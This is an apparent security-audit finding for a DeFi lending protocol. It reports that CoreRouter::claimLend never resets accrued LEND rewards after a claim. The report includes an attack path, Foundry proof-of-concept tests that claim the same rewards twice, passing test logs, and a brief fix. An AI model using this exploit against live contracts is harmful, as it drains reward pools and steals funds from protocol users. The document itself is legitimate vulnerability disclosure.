Exotic Coffee Manatee

High

# Claiming rewards does not update status after claiming will allow attacker to drain all the tokens

### Summary

The `CoreRouter::claimLend` function does not update the internal state after transferring LEND tokens to the user. As a result, the same LEND accruals can be claimed multiple times, either by re-sending the same user multiple times in a single call or by calling the function repeatedly.

This leads to inflation of the LEND token and potential draining of the protocol's reward pool.

### Root Cause

In [`CoreRouter::claimLend`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L370), the accrued LEND tokens are distributed using [`CoreRouter::grantLendInternal`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L416C2-L426C1), but the `lendAccrued` value for each holder is never reset or decreased after the transfer.

This allows exploit vectors:

1. **Duplicate addresses in a single call**: An attacker can include the same user address multiple times in the `holders[]` array to claim the same reward repeatedly in one transaction.
2. **Multiple calls**: Anyone can re-call the `claimLend` function with the same address, and since the accrued amount hasn't been cleared, they will receive the same tokens again.
3. In addition if a holder knows the address of another holder he can force claiming his reward even that the second holder do NOT want to do it. In this case there is no loss funds, because the funds will be transferred to the second holder, however maybe he will not won't that. Basically someone can send you back you're supplied investments.

Both vectors share the same root cause — **lack of state update after claim** + **no access control or parameter checks**.

### Internal Pre-conditions

- A user has accrued LEND rewards.
- The protocol holds sufficient LEND tokens to cover repeated claims.

### External Pre-conditions

- The user (or attacker) can control the contents of the `holders[]` array and call `claimLend`.

### Attack Path

1. User accrues LEND through lending or borrowing activity.
2. Attacker calls `claimLend` with the same address multiple times in `holders[]`, or repeatedly invokes the function with identical parameters.
3. Since `lendAccrued` is never reset, the LEND tokens are sent again and again.
4. The protocol rewards are drained or inflated beyond what was earned.

### Impact

- **Loss of funds from the protocol reward pool**
- **Inflation of the LEND token supply**
- **Users receiving more rewards than they are entitled to**
- **Economic imbalance and unfair advantage for attackers**
- **Potential full depletion of reward pool over time**

### PoC

Please add the tests below in [`TestLendAccrual.t.sol`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/test/mocks/TestLendAccrual.t.sol#L20):

*Tests demonstrating both attack vectors should be added.*

```solidity

// please add this function in order to process the tests correctly
   function _supplyFn(uint256 amount, address user) internal returns (address token, address lToken) {
        token = supportedTokens[0];
        lToken = lendStorage.underlyingTolToken(token);

        ERC20Mock(token).mint(user, amount);
        IERC20(token).approve(address(coreRouter), amount);
        coreRouter.supply(amount, token);
    }

    function test_replayClaimDoubleDrainsLEND() public {
        vm.deal(address(this), 1000 ether);
        uint256 supplyAmount = 100e18;

        // we supply behalf of user2, just to put enough investmenrs in the CoreRouter
        vm.startPrank(user2);
        _supplyFn(supplyAmount, user2);
        vm.stopPrank();


        vm.startPrank(user1);
        (address token, address lToken) = _supplyFn(supplyAmount, user1);

        vm.warp(block.timestamp + 1 days);
        vm.roll(block.number + 100);
        uint256 totalInvestment = lendStorage.totalInvestment(user1, lToken);

        console2.log("totalInvestment:", totalInvestment);

        // Prepare holders/lTokens arrays
        address[] memory holders = new address[](1);
        holders[0] = user1;
        LToken[] memory lTokens = new LToken[](1);
        lTokens[0] = LToken(lToken);

        // First claim
        address lendToken = lendtroller.getLendAddress();

        uint256 before1 = IERC20(lendToken).balanceOf(user1);
        console2.log("Balance of the user before any clamings:", before1);
        coreRouter.claimLend(holders, lTokens, false, true);
        uint256 after1 = IERC20(lendToken).balanceOf(user1);
        console2.log("After first claim:", after1);
        uint256 claimed1 = after1 - before1;
        console2.log("Claimed first time:", claimed1);
        assertGt(claimed1, 0, "First claim should yield tokens");

        // Second claim without resetting state
        uint256 before2 = IERC20(lendToken).balanceOf(user1);
        coreRouter.claimLend(holders, lTokens, false, true);
        uint256 after2 = IERC20(lendToken).balanceOf(user1);
        uint256 claimed2 = after2 - before2;
        console2.log("Claimed second time:", claimed2);
        vm.stopPrank();
        
        // Expect second claim to also yield tokens, demonstrating replay
        console2.log("Balance of the user at the end:", after2);
        assertGt(after2, totalInvestment);
        assertGt(claimed2, 0, "Second claim should also yield tokens (replay vulnerability)");
    }

    function test_replayClaimWithSameHoldersLEND() public {
       vm.deal(address(this), 1000 ether);
        uint256 supplyAmount = 100e18;

        // we supply behalf of user2, just to put enough investmenrs in the CoreRouter
        vm.startPrank(user2);
        _supplyFn(supplyAmount, user2);
        vm.stopPrank();


        vm.startPrank(user1);
        (address token, address lToken) = _supplyFn(supplyAmount, user1);

        vm.warp(block.timestamp + 1 days);
        vm.roll(block.number + 100);
        uint256 totalInvestment = lendStorage.totalInvestment(user1, lToken);

        console2.log("totalInvestment:", totalInvestment);

        // Prepare holders/lTokens arrays
        address[] memory holders = new address[](2);
        holders[0] = user1;
        holders[1] = user1;
        LToken[] memory lTokens = new LToken[](1);
        lTokens[0] = LToken(lToken);

        // First claim
        address lendToken = lendtroller.getLendAddress();

        uint256 startBalance = IERC20(lendToken).balanceOf(user1);
        console2.log("Balance of the user before any clamings:", startBalance);
        coreRouter.claimLend(holders, lTokens, false, true);
        uint256 balanceAfterClaim = IERC20(lendToken).balanceOf(user1);
        console2.log("After first claim:", balanceAfterClaim);
        uint256 claimed = balanceAfterClaim - startBalance;
        console2.log("Claimed", claimed);
        assertGt(claimed, 0, "First claim should yield tokens");

        console2.log("Balance of the user at the end:", balanceAfterClaim);
        assertGt(balanceAfterClaim, totalInvestment);
    }
```

**Test results:**

[PASS] test_replayClaimWithSameHoldersLEND() (gas: 801877)
Logs:
  totalInvestment: 500000000000
  Balance of the user before any clamings: 0
  After first claim: 10000000000000000
  Claimed 10000000000000000
  Balance of the user at the end: 10000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.83ms (608.81µs CPU time)

Ran 1 test for test/mocks/TestLendAccrual.t.sol:TestLendAccrual
[PASS] test_replayClaimDoubleDrainsLEND() (gas: 837778)
Logs:
  totalInvestment: 500000000000
  Balance of the user before any clamings: 0
  After first claim: 5000000000000000
  Claimed first time: 5000000000000000
  Claimed second time: 5000000000000000
  Balance of the user at the end: 10000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.44ms (724.82µs CPU time)

### Mitigation

After successfully transferring the accrued LEND tokens to a user, the  state should be reset to zero(`lendAccrued[user]`...). 
